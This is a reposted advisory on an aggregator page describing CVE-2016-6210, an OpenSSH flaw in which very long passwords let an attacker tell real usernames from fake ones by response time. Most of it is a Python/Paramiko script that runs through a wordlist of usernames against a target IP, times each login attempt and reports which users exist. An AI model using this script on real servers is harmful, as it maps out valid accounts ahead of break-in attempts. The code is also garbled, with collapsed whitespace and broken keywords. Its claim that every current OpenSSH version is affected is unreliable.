OpenSSH enumeration of system users (cve-2016-6210) using the time difference caused by the processing of malformed length ciphers

Source: Internet
Author: User
Tags openssh server cve

Affected version:

Opensshd (< = Latest Version)

cve-2016-6210

Vulnerability Description:


When we use the SSH client to connect to the server, if send a password greater than 10KB to the server, because the OPENSSH server will be a combination of User:password, using encryption algorithm sha256/sha512 encryption.
If we transmit a non-existent user name, then will not enter the SHA256 (User,password) encryption process, if the user name exists, the server will be for this 10KB large password SHA256 encryption, here will produce a time difference.

Test script:

import Paramiko import timeimport sys fromfileutils Import fileutilsdef get_user (ip,user): P='A'*50000SSH=Paramiko. Sshclient () StartTime=Time.clock () ssh.set_missing_host_key_policy (Paramiko. Autoaddpolicy ())Try: Ssh.connect (IP, username=user, password=p) Except:endtime=Time.clock () Total=endtime-StartTimereturn(total)if__name__ = ='__main__': IP= sys.argv[1]     forUserinchFileutils.getlines ('User.lst'):        Try: I=Get_user (ip,user) except Exception,e:print str (e)ifi >5.0: Print'%s:%s:%s found'%(IP, user,i)Else: Print'%s:%s:%s no found'% (Ip,user,i)

OpenSSH enumeration of system users (cve-2016-6210) using the time difference caused by the processing of malformed length ciphers

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.